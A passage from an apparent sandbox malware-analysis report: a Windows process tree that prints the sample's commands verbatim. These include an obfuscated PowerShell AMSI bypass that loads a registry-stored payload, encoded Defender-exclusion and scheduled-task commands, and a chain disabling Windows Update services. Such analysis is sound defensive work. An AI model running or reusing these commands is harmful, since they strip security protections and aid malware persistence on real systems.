@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EtVuDYeWNbe=$jJPKCFphWcwTR.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$JNEolobdDoLKgs=$BSKexqYyJcXzTV.Invoke($Null,@([Object]$EtVuDYeWNbe,[Object]('Load'+'LibraryA')));$TgaUFKqBjQgOCfqxk=$BSKexqYyJcXzTV.Invoke($Null,@([Object]$EtVuDYeWNbe,[Object]('Vir'+'tual'+'Pro'+'tect')));$qyqqUhV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNEolobdDoLKgs,$lKrROlOSFnDrInXBSfT).Invoke('a'+'m'+'si.dll');$jHbdjjKNciZXFjEia=$BSKexqYyJcXzTV.Invoke($Null,@([Object]$qyqqUhV,[Object]('Ams'+'iSc'+'an'+'Buffer')));$jOuztQVEFi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TgaUFKqBjQgOCfqxk,$fZwRTmqushqHnPmKDbyWAr).Invoke($jHbdjjKNciZXFjEia,[uint32]8,4,[ref]$jOuztQVEFi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jHbdjjKNciZXFjEia,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TgaUFKqBjQgOCfqxk,$fZwRTmqushqHnPmKDbyWAr).Invoke($jHbdjjKNciZXFjEia,[uint32]8,0x20,[ref]$jOuztQVEFi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:ubLxAjsAOhRh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jjWIyROmdkSwKr,[Parameter(Position=1)][Type]$eAKChCHmPq)$MsbqmRCrund=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$MsbqmRCrund.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jjWIyROmdkSwKr).SetImplementationFlags('Runtime,Managed');$MsbqmRCrund.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$eAKChCHmPq,$jjWIyROmdkSwKr).SetImplementationFlags('Runtime,Managed');Write-Output $MsbqmRCrund.CreateType();}$rocLcbznMEVOV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SYDhhWKZMFofHM=$rocLcbznMEVOV.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ztmELuWGSfEbUKHGcOX=ubLxAjsAOhRh @([String])([IntPtr]);$uwaadMQNBCOJefmikgyUvb=ubLxAjsAOhRh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kFxYRxbrcCw=$rocLcbznMEVOV.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$mXdplcnTQFORTO=$SYDhhWKZMFofHM.Invoke($Null,@([Object]$kFxYRxbrcCw,[Object]('Load'+'LibraryA')));$RnaBwTfblGnjrwgyy=$SYDhhWKZMFofHM.Invoke($Null,@([Object]$kFxYRxbrcCw,[Object]('Vir'+'tual'+'Pro'+'tect')));$PZibWAR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mXdplcnTQFORTO,$ztmELuWGSfEbUKHGcOX).Invoke('a'+'m'+'si.dll');$bBGliCnMmfKYEfWlS=$SYDhhWKZMFofHM.Invoke($Null,@([Object]$PZibWAR,[Object]('Ams'+'iSc'+'an'+'Buffer')));$AcduLWQSum=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RnaBwTfblGnjrwgyy,$uwaadMQNBCOJefmikgyUvb).Invoke($bBGliCnMmfKYEfWlS,[uint32]8,4,[ref]$AcduLWQSum);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$bBGliCnMmfKYEfWlS,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RnaBwTfblGnjrwgyy,$uwaadMQNBCOJefmikgyUvb).Invoke($bBGliCnMmfKYEfWlS,[uint32]8,0x20,[ref]$AcduLWQSum);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:36992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAGcAbgBlACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABDAGgAcgBvAG0AZQBcAGMAaAByAG8AbQBlAC4AZQB4AGUAJwAgACAAPAAjAGkAZgBpAGwAIwA+AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:5296
- - C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe
    "C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgBhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBmAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBmAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxAG8AcAAjAD4A"
      4⤵
      PID:4776
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3636
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      PID:6652
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6668
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:6868
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:7120
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4868
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:7268
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:7324
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:7396
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:7508
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:7584
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:7656
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:7716
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7764
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7816
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:7880
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:7944
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:8060
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:8040
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:8096
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:8144
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:7460
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:8220
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:8264
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:8312
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:8372
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe "neggzsnpwlbcv"
      4⤵
      PID:6804
  - - C:\Windows\System32\dialer.exe
      C:\Windows\System32\dialer.exe bqsjcndwpdyybow0 zu8xig1NsQoKkEp6jsGp1FzkODn3PlcQanKaEb8L3RvS4/YK50v90gh1zDwJ6UFU3XCw5zv4isRUCE4SADhgTik3F72IUoFfYkkAIz3IIqFgUZ9+QlcR5ED+yg5X6GAooYGc40RRy6hPTFIKIwUTmDxeWUNN2v1IMLrT0vupSO0/ha9be1gFU+d+1RW8awhDFyTeJUybfylcppeetmS/N4XblG/bGcLR6kNavn2Ajd1sa4owldJ2KHdndV2X69yl2RCMaS0sSGOegVGvgZSAN//X+gMxz6Jt44MKPEpKf3Ejr2OSU2CKks/9v2C8LOpA6QVadTx9Ew/y5gkbpoYROZcVrKkD7EqApIvJ+d3PgdptxmNsFsBjIOE+hBdBXTUN3yI7s1AYoswH68RwmPjDMpJ7XG+6HlODbBh5adL+UNctjs6LV0g+4QtgpYi/Y8vcs2UzAvpAAiTVg+dIrUc0ww==
      4⤵
      PID:6932
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6932 -s 164
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:7152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1236

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1644
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2176

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2488

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2860

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3128
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Users\Admin\AppData\Roaming\Java.exe
    C:\Users\Admin\AppData\Roaming\Java.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Java Update\Java Update.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Java Update\Java Update.exe"
      4⤵
      Executes dropped EXE
      PID:2824
- - C:\Users\Admin\AppData\Roaming\yt.exe
    C:\Users\Admin\AppData\Roaming\yt.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4496
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:36968
- - C:\Users\Admin\AppData\Roaming\33334.exe
    C:\Users\Admin\AppData\Roaming\33334.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgBhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBmAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBmAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxAG8AcAAjAD4A"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6984
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Suspicious use of WriteProcessMemory
      PID:37440
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:37500
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:37536
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:37588
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:37604
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:37640
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:37672
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:37688
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies security service
        Modifies registry key
        
        PID:37704
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:37720
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:37756
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:37792
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:37824
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2568
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1940
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2080
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:5660
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:2960
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:5364
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:6032
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3172
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:1264
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:3880
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:1124
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe
      4⤵
      Drops file in Windows directory
      PID:37492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAbgB3AGcAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEARwBjAEEAYgBnAEIAbABBAEMATQBBAFAAZwBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABJAEEAZABBAEEAdABBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEASQBBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBWAFEAQgB6AEEARwBVAEEAYwBnAEIAegBBAEYAdwBBAFEAUQBCAGsAQQBHADAAQQBhAFEAQgB1AEEARgB3AEEAUQBRAEIAdwBBAEgAQQBBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARgBJAEEAYgB3AEIAaABBAEcAMABBAGEAUQBCAHUAQQBHAGMAQQBYAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBCAGMAQQBHAE0AQQBhAEEAQgB5AEEARwA4AEEAYgBRAEIAbABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBBAEEAUABBAEEAagBBAEcAawBBAFoAZwBCAHAAQQBHAHcAQQBJAHcAQQArAEEAQQA9AD0AIgAnACkAIA